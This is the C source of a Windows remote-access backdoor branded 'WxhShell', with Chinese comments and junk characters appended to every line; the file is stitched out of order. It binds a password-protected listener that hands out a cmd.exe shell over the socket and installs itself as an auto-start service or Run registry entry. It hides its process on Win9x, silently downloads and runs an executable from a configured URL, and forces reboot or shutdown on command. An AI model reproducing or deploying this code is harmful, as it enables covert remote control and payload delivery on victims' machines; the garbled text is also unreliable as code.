    if(Boot(SHUTDOWN)) X-9>;Mb~y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N-|E^XIV  
    else { Et ty{r}  
    closesocket(wsh);  sBY*9I  
    ExitThread(0); tWQ_.,ld  
    } o^;$-O!/  
    break; 6H67$?jMyJ  
    } $.kP7!`:,  
  // 获取shell yC !`6$  
  case 's': { wXp A1,i  
    CmdShell(wsh); '/U[ ui0{  
    closesocket(wsh); ~n%~ Z|mMF  
    ExitThread(0); xaSvjc\  
    break; 5bM/ v  
  } Zpg/T K  
  // 退出 -_Pd d[M  
  case 'x': { wEENN_w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gO%#'Eb2  
    CloseIt(wsh); ,ii*[{X?  
    break; C%d\DuJ5'~  
    } c4ptY5R),  
  // 离开 $A"kHS7T  
  case 'q': { KJ<7aZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y0cHs|8  
    closesocket(wsh); ;NH 5 L,  
    WSACleanup(); ?|'+5$  
    exit(1); B1T:c4:N  
    break; 84^ '^nd  
        } =3OK 3|  
  } x@I*(I  
  } Jm$. $B&I  
}]_/:KUt  
  // 提示信息 aAZS^S4v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K,e"@G  
} 0UZ>y/ C)=  
  } fyPpzA0  
^I03PIy0l  
  return; 9Z]~c^UB  
} o&P}GcEIw  
u-PAi5&n  
// shell模块句柄 sm5\> L3V  
int CmdShell(SOCKET sock) Y-\hV6v6  
{ &Oc^LV$6  
STARTUPINFO si; ]|62l+  
ZeroMemory(&si,sizeof(si)); G'IqAKJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [G2@[Ct Y1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S[,!  
PROCESS_INFORMATION ProcessInfo; ^;jJVYx-PP  
char cmdline[]="cmd"; ^T@ (`H4@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bh|M]*Pq  
  return 0; s.I%[kada  
} >(mp$#+w  
WZO8|hY  
// 自身启动模式 Pe6}y  
int StartFromService(void) "*W:  
{ 2^w3xL"   
typedef struct WV&T   
{ ^Gt&c_gH  
  DWORD ExitStatus; u~n*P``{  
  DWORD PebBaseAddress; P' .MwS  
  DWORD AffinityMask; .zQ:u{FT  
  DWORD BasePriority; )9F-h8 &"  
  ULONG UniqueProcessId; %jz]s4u$5j  
  ULONG InheritedFromUniqueProcessId; 0fwmQ'lW(  
}   PROCESS_BASIC_INFORMATION; LVKvPi  
4k/B=%l  
PROCNTQSIP NtQueryInformationProcess; ST$~l7p  
g^|}e?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !.1oW(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^Pl(V@  
c} )U:?6  
  HANDLE             hProcess; 't:$Lx  
  PROCESS_BASIC_INFORMATION pbi; ap=m5h27  
~_opU(;f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aX`"V/  
  if(NULL == hInst ) return 0; +v.uP [H  
{<&i4;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @_s`@ ,=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ie{98  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hhd%j6  
'i5 VU4?K  
  if (!NtQueryInformationProcess) return 0; `)V1GR2 ES  
-n&g**\w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e$]`  
  if(!hProcess) return 0; :T^!<W4  
wKOljE6d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _: @~ bHd  
yUV0{A-q{0  
  CloseHandle(hProcess); zh`!x{Z?^  
 8:=&=9%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pF kA,  
if(hProcess==NULL) return 0; +UbSqp1BS  
e ewhT ^  
HMODULE hMod; '%Og9Bgd+  
char procName[255]; MMlryn||1  
unsigned long cbNeeded; kQ~2mU  
{!!df.h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,/0Q($oz  
rR`'l=,t  
  CloseHandle(hProcess); \kSoDY`l&  
Zoe>Ow8mE`  
if(strstr(procName,"services")) return 1; // 以服务启动 LXYpP- E  
6v8HR}iK  
  return 0; // 注册表启动 58xaVOhb  
} Ku;|Dz/=o  
\f| Hk*@  
// 主模块 DV+M;rs  
int StartWxhshell(LPSTR lpCmdLine) ?bFP'.  
{ k1tJ$}  
  SOCKET wsl; X&C&DTB  
BOOL val=TRUE; j("$qp v  
  int port=0; \H(r }D$u<  
  struct sockaddr_in door; _vOV(#q2a  
X3[gi`  
  if(wscfg.ws_autoins) Install(); W\]bh'(  
;R[  xo!  
port=atoi(lpCmdLine); 1 & G0;  
|OW/-&)  
if(port<=0) port=wscfg.ws_port; }/tT=G]91  
7$3R}=Z`\q  
  WSADATA data; eC%uu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m(0sG(A~  
4I7B #{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \s_lB~"P!3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rJLn=|uR  
  door.sin_family = AF_INET; 3V=(P.ATm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aq~>$CHa  
  door.sin_port = htons(port); /$NDH]a  
1{6BU!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VnlgX\$}  
closesocket(wsl);  )ph**g  
return 1; L1J \ C  
} /V'^$enK!}  
U@t" o3E  
  if(listen(wsl,2) == INVALID_SOCKET) { $DPMi9,7^  
closesocket(wsl); /|7@rH([{  
return 1; tW<i;2 l  
} R7)\w P*l5  
  Wxhshell(wsl); 5zk<s`h  
  WSACleanup(); E :gS*tsY  
w+A:]SU  
return 0; Skb,cKU  
5L ]TV\\  
} 8CXZ7 p  
B$A`thQp  
// 以NT服务方式启动 R-7.q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $db]b  
{ 1D2Uomd(  
DWORD   status = 0; $;O-1# ]  
  DWORD   specificError = 0xfffffff; #h,7dz.d  
*"cK_MH/o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q 6>7{\8l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Z;6f{yWf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nsT]Yxo%M  
  serviceStatus.dwWin32ExitCode     = 0; 6yDj1PI  
  serviceStatus.dwServiceSpecificExitCode = 0; ,m4M39MWJ  
  serviceStatus.dwCheckPoint       = 0; JA]TO (x  
  serviceStatus.dwWaitHint       = 0; 0!4;."S  
G.j  R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S8=Am7D]1  
  if (hServiceStatusHandle==0) return; $ghAC  
V[9#+l~#  
status = GetLastError(); !-G'8a|7  
  if (status!=NO_ERROR) ( mV*7Z  
{ sb1Zm*m6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D.7,xgH  
    serviceStatus.dwCheckPoint       = 0; K)-Gv|*t  
    serviceStatus.dwWaitHint       = 0; OGl>i  
    serviceStatus.dwWin32ExitCode     = status; M't~/&D#  
    serviceStatus.dwServiceSpecificExitCode = specificError; |X}H&wBWo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j[E8C$lW  
    return; [cJQ"G '  
  } %62W[Oh5  
$O\I9CGr$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >Xz=E0;^Ua  
  serviceStatus.dwCheckPoint       = 0; ? PIq/[tk  
  serviceStatus.dwWaitHint       = 0; hMcSB8?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g(X-]/C{  
} 0wFa7PyG?  
L&D+0p^lI  
// 处理NT服务事件,比如:启动、停止 P<. TiF?@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T/[8w  
{ ` u|8WK:  
switch(fdwControl) 7!-3jU@m  
{ kzky{0yKk=  
case SERVICE_CONTROL_STOP: Fe:M'.  
  serviceStatus.dwWin32ExitCode = 0; Cx N]fo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G,jv Mb`+  
  serviceStatus.dwCheckPoint   = 0; w)Rtt 9  
  serviceStatus.dwWaitHint     = 0; |_<'q h  
  { d3nx"=Cy0I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t=-t xnlr<  
  } n jfh4}g:  
  return; y#Cp Vm#!>  
case SERVICE_CONTROL_PAUSE: UJ\[ ^/t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {z^6V\O5  
  break; WA'&0i4  
case SERVICE_CONTROL_CONTINUE: A$6T)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X jJV  
  break; tYe+7s  
case SERVICE_CONTROL_INTERROGATE: Z`FEB0$  
  break; ' 91-\en0  
}; \>B$x@-wg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t^8 ii  
} Nu/D$m'PY  
o+NPe36  
// 标准应用程序主函数 73n|G/9n[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |iGfX,C|  
{ xgdS]Sz  
i146@<\G{P  
// 获取操作系统版本 L9lNAiOH  
OsIsNt=GetOsVer(); @Feusprs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I "8:IF  
b 8vyJb,K  
  // 从命令行安装 -dj9(~?^  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]q,5'[=~4h  
Lc&LF*  
  // 下载执行文件 nZ4JI+Q)~  
if(wscfg.ws_downexe) { WFGcR9mN?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ">8]Oi;g  
  WinExec(wscfg.ws_filenam,SW_HIDE); /J0YF  
} i8h(b2odQ  
r>>4)<C7J  
if(!OsIsNt) { S.: m$s  
// 如果时win9x,隐藏进程并且设置为注册表启动 U@ ;W^Mt  
HideProc(); gY\g+df-  
StartWxhshell(lpCmdLine); yN'< iTh  
} `[OJ)tHE  
else ZWtlOP#]  
  if(StartFromService()) /w!!jj^  
  // 以服务方式启动 8fG$><@  
  StartServiceCtrlDispatcher(DispatchTable); bqo+ b{i\  
else O#}d!}SIp  
  // 普通方式启动 [N35.O6P6u  
  StartWxhshell(lpCmdLine); 5s5GBJ?  
5l(8{,NDt  
return 0; X0QY:?  
} !!{!T;)l  
f1Z  
LTn@OhC  
nV[0O8p2Md  
=========================================== ^~p^N <  
{6y@;Fd  
@;6I94Bp  
#5Q?Q~E@  
"M-zBBY]  
Hm>7|!  
" mJ'Q9x"  
(Xak;Xum1  
#include <stdio.h> -a[[1  
#include <string.h> )s#NQ.T[  
#include <windows.h> k;7R3O@  
#include <winsock2.h> _v[yY3=3  
#include <winsvc.h> ~o <+tL  
#include <urlmon.h> B}:/2?gQ  
$!'S7;*uW  
#pragma comment (lib, "Ws2_32.lib") `4xnM`:L"  
#pragma comment (lib, "urlmon.lib") Wzn!BgxRr  
JU6PBY~C'  
#define MAX_USER   100 // 最大客户端连接数 {vp|f~}zTw  
#define BUF_SOCK   200 // sock buffer A`#/:O4|f  
#define KEY_BUFF   255 // 输入 buffer 7Gos-_s  
>V01%fLd  
#define REBOOT     0   // 重启 5W Z9z-6  
#define SHUTDOWN   1   // 关机 nDFF,ge;a#  
ms(Z1ix^  
#define DEF_PORT   5000 // 监听端口 p{V_}:|=Q  
L~Hl?bK  
#define REG_LEN     16   // 注册表键长度 `wMHjcUP  
#define SVC_LEN     80   // NT服务名长度 MrW*6jY@  
<FkoWN  
// 从dll定义API @nh* H{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i[+cNJ|$B0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A89n^@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #NvL@bH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ORc20NFy7  
v^;p]_c~2  
// wxhshell配置信息 T?DX|?2X  
struct WSCFG { 'j#J1 xwJ  
  int ws_port;         // 监听端口 8E/wUN,Lxj  
  char ws_passstr[REG_LEN]; // 口令 Au=9<WB%H  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q#h*C ZT  
  char ws_regname[REG_LEN]; // 注册表键名 `U.VfQR:  
  char ws_svcname[REG_LEN]; // 服务名 u%s@B1j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y8HwyU>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K3;lst>4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 . `ND  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QE#Ar8tU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G $F3dx.I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 San=E@3}v!  
sC< B  
}; ]N& Y25oT5  
#GlQwk3  
// default Wxhshell configuration 5n1aRA1  
struct WSCFG wscfg={DEF_PORT, ZCcKY6b  
    "xuhuanlingzhe", sOf;I]E|  
    1, 1DTA Dh0  
    "Wxhshell", id" -eMwp  
    "Wxhshell", w,s++bV;L  
            "WxhShell Service", +L]$M)*0&  
    "Wrsky Windows CmdShell Service", TV['"'D&i  
    "Please Input Your Password: ", cu@i;Hb@  
  1, b3vPGR  
  "http://www.wrsky.com/wxhshell.exe", fOHgz ,x=  
  "Wxhshell.exe" 2 omKP,9,2  
    }; AB:JXMyK  
 gZg5On  
// 消息定义模块 iC.k8r+~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MjNq8'$"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (b*PDhl`+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,$,c<M  
char *msg_ws_ext="\n\rExit."; 82>90e(CH]  
char *msg_ws_end="\n\rQuit."; iPuX  
char *msg_ws_boot="\n\rReboot..."; ]zt77'J  
char *msg_ws_poff="\n\rShutdown..."; jG E=7  
char *msg_ws_down="\n\rSave to "; {\ P`-'C  
%x]8^vze  
char *msg_ws_err="\n\rErr!"; h{5K9$9=  
char *msg_ws_ok="\n\rOK!"; h,!#YG@>  
f6*6*=  
char ExeFile[MAX_PATH]; 1FPt%{s3  
int nUser = 0; C||9u}Q<  
HANDLE handles[MAX_USER]; A><q-`bw  
int OsIsNt; l$\OSG  
P{gGvC,  
SERVICE_STATUS       serviceStatus; B(zcoWQ*B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GdlzpBl  
h,palP6^  
// 函数声明 70MSP;^  
int Install(void); ?6#F9\  
int Uninstall(void); rYP72<   
int DownloadFile(char *sURL, SOCKET wsh); ;UnJrP-if  
int Boot(int flag); j} .,|7X  
void HideProc(void); oZ!1^o3V  
int GetOsVer(void); ElK7jWJ+  
int Wxhshell(SOCKET wsl); ~x #RIt  
void TalkWithClient(void *cs); tW8&:L,m  
int CmdShell(SOCKET sock); lR8Lfa*/7  
int StartFromService(void); jI;iTKjB(  
int StartWxhshell(LPSTR lpCmdLine); "dItv#<:}  
^{m&2l&87  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |GLh|hr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uex m|5|  
DDwj[' R  
// 数据结构和表定义 zQ=c6xvm8  
SERVICE_TABLE_ENTRY DispatchTable[] = gd,3}@@SH  
{ kgZiyPcw  
{wscfg.ws_svcname, NTServiceMain}, YPU*T&~  
{NULL, NULL} N+3]C9 2o  
}; 4owM;y  
#86=[*Dr  
// 自我安装 hh1 ?/  
int Install(void) F3Y/Miw  
{ >2)`/B9f4  
  char svExeFile[MAX_PATH]; yd>b2 M  
  HKEY key; +! F+m V9  
  strcpy(svExeFile,ExeFile); $.0l% $7  
Pqtk1=U  
// 如果是win9x系统,修改注册表设为自启动 xk/osbKn  
if(!OsIsNt) { 3&tJD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CBrC   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Vj@;+/j  
  RegCloseKey(key); ulAOQGZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <,:5d2mM.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NE1n9  
  RegCloseKey(key); %vZTD +i  
  return 0; 9()d7Y#d/`  
    } GLpl  
  } x[dR5  
} YK V?I   
else { ^fq^s T.$  
v{44`tR   
// 如果是NT以上系统,安装为系统服务 [/+}E X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); = 9K5f# ;e  
if (schSCManager!=0) ` v"p""_H  
{ cmu|d  
  SC_HANDLE schService = CreateService p\).zuEf.  
  ( `m_ ('N  
  schSCManager, z=[?&X]O9b  
  wscfg.ws_svcname, 1<(('H  
  wscfg.ws_svcdisp, gT&s &0_7  
  SERVICE_ALL_ACCESS, a^5.gfzA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p G-9H3[f#  
  SERVICE_AUTO_START, /T\'&s3D+  
  SERVICE_ERROR_NORMAL, .VG5 / 6zp  
  svExeFile, rQLl[a  
  NULL, [~v1  
  NULL, 9:v0gE+.  
  NULL, Q8GI;`Rb  
  NULL, 50='>|b  
  NULL X?gH(mn  
  ); ,VYUQE>\  
  if (schService!=0) ^Q9;ro*;ck  
  { ]K!NLvz  
  CloseServiceHandle(schService); +!JTEKHKH  
  CloseServiceHandle(schSCManager); (l_/ HQ32  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [zsUboCkc  
  strcat(svExeFile,wscfg.ws_svcname); =g3o@WD/G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z.$)#vM5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +v{g'  
  RegCloseKey(key); QMQ\y8E  
  return 0; H)rE-7(f!  
    } 9,J^tN@^  
  } 0 YA  
  CloseServiceHandle(schSCManager); Po*G/RKu4W  
} ?? 2x*l1  
} =6Q\78b  
$s S;#r0  
return 1; HD~o]l=H  
} *I<L1g%9d  
^/M-*U8ab  
// 自我卸载 z?M_Cz;:J  
int Uninstall(void) }|9!|Q  
{ ?qJt4Om  
  HKEY key; Vm]xV_FOd  
R|g50Q  
if(!OsIsNt) { |EZ\+!8N:{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J-U5_>S  
  RegDeleteValue(key,wscfg.ws_regname); (ptk!u6  
  RegCloseKey(key);  &peUC n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !3;KC"o  
  RegDeleteValue(key,wscfg.ws_regname); rUxjm\  
  RegCloseKey(key); 3k_bhK zI  
  return 0; s,|"s|P  
  } Tg yY 9  
} KSgYf;  
} S(ky:  
else { kb~;s-$O`s  
>[r,X$]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n1    
if (schSCManager!=0) HE{JiAf  
{ A3s-C+@X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y2d(HD@  
  if (schService!=0) - U Elu4n&  
  { ejh0Wfl  
  if(DeleteService(schService)!=0) { X"EZpJ'W  
  CloseServiceHandle(schService); IY40d^x  
  CloseServiceHandle(schSCManager); ~m6b6Aj@6  
  return 0; ttd ^jT  
  } aESlb H  
  CloseServiceHandle(schService); \u$[$R5  
  } FnWN]9  
  CloseServiceHandle(schSCManager); M;j)F  
} ]rS:# LK  
} WvN{f*  
$, vX yZ  
return 1; e.Gjp {  
} ]WvV*FL9D3  
:x[SV^fw[  
// 从指定url下载文件 ep)O|_=  
int DownloadFile(char *sURL, SOCKET wsh) H~<w*[uT  
{ Y ow  
  HRESULT hr; yB5JvD ?  
char seps[]= "/"; /*1p|c^  
char *token; ! z6T_;s  
char *file; 9$s~ `z)  
char myURL[MAX_PATH]; 4o3TW#  
char myFILE[MAX_PATH]; 77H"=  
:um]a70  
strcpy(myURL,sURL); .X\9vVJ  
  token=strtok(myURL,seps); 7fXta|eP0  
  while(token!=NULL) 1{-yF :A  
  { bR'UhPs-8;  
    file=token; 3XSfXS{lwP  
  token=strtok(NULL,seps); oYAHyCkVq  
  } r?2J   
` #; "  
GetCurrentDirectory(MAX_PATH,myFILE); &j?+%Y1n@  
strcat(myFILE, "\\"); S~hoAl"xb/  
strcat(myFILE, file); l}_6 _g>6  
  send(wsh,myFILE,strlen(myFILE),0); oxNQNJ!X  
send(wsh,"...",3,0); ,lDOo+eE%:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &2sfu0K  
  if(hr==S_OK) ?)O!(=6%'  
return 0; 0)]?@"j  
else {NUI8AL46A  
return 1; ["WWaCcx  
U28frRa  
} "_ H 9]}Q  
SsCV}[  
// 系统电源模块 9?tG?b0  
int Boot(int flag) p+#]Jr  
{ S0w:R:q}L  
  HANDLE hToken; !:3X{)4  
  TOKEN_PRIVILEGES tkp; \rM5@ Vf  
ows 3%  
  if(OsIsNt) { ;5tQV%V^Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (>C$8)v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1O2jvt7M  
    tkp.PrivilegeCount = 1; Sb.%B^O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0b}.!k9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *h M5pw  
if(flag==REBOOT) { _)ZxD--Qg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;T :]?5W!  
  return 0; 4u= v  
} Kh7C7[&  
else { R1~wzy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,}/6Za  
  return 0; 3c+ps;nh  
} Ya;y@44  
  } IG90mpLX  
  else { 9`td_qh  
if(flag==REBOOT) { )Wy:I_F351  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ttA'RJ  
  return 0; &AnWMFo  
} p^)w$UL}}  
else { LRqlK\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j8W<iy  
  return 0; 0M!GoqaA  
} m,)o&ix1  
} NH<~B C]I  
W>(w&k]%B  
return 1; k [iT']  
} dy]ZS<Hz8G  
<72q^w  
// win9x进程隐藏模块 NA+7ey6  
void HideProc(void) yX.; x 0  
{ HcM/  
5'/ff=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;)q"X>FMZe  
  if ( hKernel != NULL ) -8yN6 0|  
  { hv*XuT/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r7FpR!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "R]wPF5u  
    FreeLibrary(hKernel); '"T9y=9]s  
  } ;_#<a*f  
M9~6ry-_  
return; 1s.>_  
} (0["|h32,  
7Y5.GW\^  
// 获取操作系统版本 N(%(B  
int GetOsVer(void) ZF@$3   
{ Of>2m<  
  OSVERSIONINFO winfo; o37D~V;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0 YAH[YF  
  GetVersionEx(&winfo); dF><XZph  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F+!9T  
  return 1; a U*}.{<!  
  else L_q3m-x0h  
  return 0; 9.BgsV .  
} .'NTy R  
u.Tknw-X  
// 客户端句柄模块 MlR ]+]  
int Wxhshell(SOCKET wsl) x@3cZd0j#  
{ OZEbs 7  
  SOCKET wsh; intl?&wC  
  struct sockaddr_in client; xlH3t&i7  
  DWORD myID; :!JQ<kV  
Ygc|9}  
  while(nUser<MAX_USER) K>TEt5  
{ 0 \V)DV.i  
  int nSize=sizeof(client); e,MgR\F}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tX6_n%/L  
  if(wsh==INVALID_SOCKET) return 1; V''fmWo7  
k *D8IB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u4$R ZTC  
if(handles[nUser]==0) fZcA{$Vc]N  
  closesocket(wsh); Zv(6VVj  
else Bru];%Qg%  
  nUser++; ^^F 8M0k3  
  } 0rvBjlFT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F` &W5[  
GK;IY=8W  
  return 0; }R/we`  
} p`EgMzVO,  
xQl}~G]!  
// 关闭 socket &G?"I%Vw  
void CloseIt(SOCKET wsh) n6G&c4g<"  
{ 2@IL  n+#  
closesocket(wsh); %cBOi_}}~  
nUser--; iNc!z A4  
ExitThread(0); N6`U)=2o>h  
} iCCe8nK  
]E)\>Jb  
// 客户端请求句柄 'bsHoO  
void TalkWithClient(void *cs) C DoD9Hq,  
{ `z$P,^g`  
UyFC\vQ  
  SOCKET wsh=(SOCKET)cs; 4sW'pH  
  char pwd[SVC_LEN]; u%lUi2P2E  
  char cmd[KEY_BUFF]; ,U)&ny  
char chr[1]; 8nWPt!U:  
int i,j; H>},{ z  
hy>0'$mU  
  while (nUser < MAX_USER) { )5n:UD{f[#  
Q @[gj:w  
if(wscfg.ws_passstr) { O<#8R\v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p5% %k-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /nv+*+Q?d  
  //ZeroMemory(pwd,KEY_BUFF); : dNJ2&kJ  
      i=0; Gpi_p  
  while(i<SVC_LEN) { ,Xr`tQ<@  
bI`JG:^b  
  // 设置超时 0 /9 C=v  
  fd_set FdRead; \hn$-'=4  
  struct timeval TimeOut; 78r0K 5=  
  FD_ZERO(&FdRead); Xvoz4'Gme  
  FD_SET(wsh,&FdRead); 1Wiz0X/  
  TimeOut.tv_sec=8; wS+!>Q_]w  
  TimeOut.tv_usec=0; b- bvkPN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j dz IU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X8ZO } X  
' sNiJ>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Z#/%y3S  
  pwd=chr[0]; ec/>LJDX7  
  if(chr[0]==0xd || chr[0]==0xa) { 29CzG0?B  
  pwd=0; A\W) uwyN  
  break; tCm]1ZgRW  
  } f/s"2r  
  i++; UR9\g(  
    } ,7k-LAA  
ALcPbr  
  // 如果是非法用户,关闭 socket z"mpw mv5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Go^TTL   
} >< >%;HZ  
\q3ui}-9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qozvNJm)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "RM\<)IF  
 UO#`Ak  
while(1) { QleVW  
z@w}+fYO  
  ZeroMemory(cmd,KEY_BUFF); JZ~wacDd  
Jgg<u#  
      // 自动支持客户端 telnet标准   l5~O}`gfh  
  j=0; ml Cg&fnDB  
  while(j<KEY_BUFF) { ``I[1cC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MJrPI a[pN  
  cmd[j]=chr[0]; U^BM5b  
  if(chr[0]==0xa || chr[0]==0xd) { #HW<@E  
  cmd[j]=0; T ,jb%uPcE  
  break; sHMO9{[7H  
  } VumM`SH  
  j++; k#u)+e.'  
    } }S3  oX$  
F#M(#!)Y"  
  // 下载文件 ^sFO[cYo  
  if(strstr(cmd,"http://")) { + d3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pT3icy!A=  
  if(DownloadFile(cmd,wsh)) $45.*>,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0# Ocq,  
  else (>f`>6 V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , ,ng]&%i  
  } u"m(a:jQ  
  else { m(}}%VeR"z  
2  
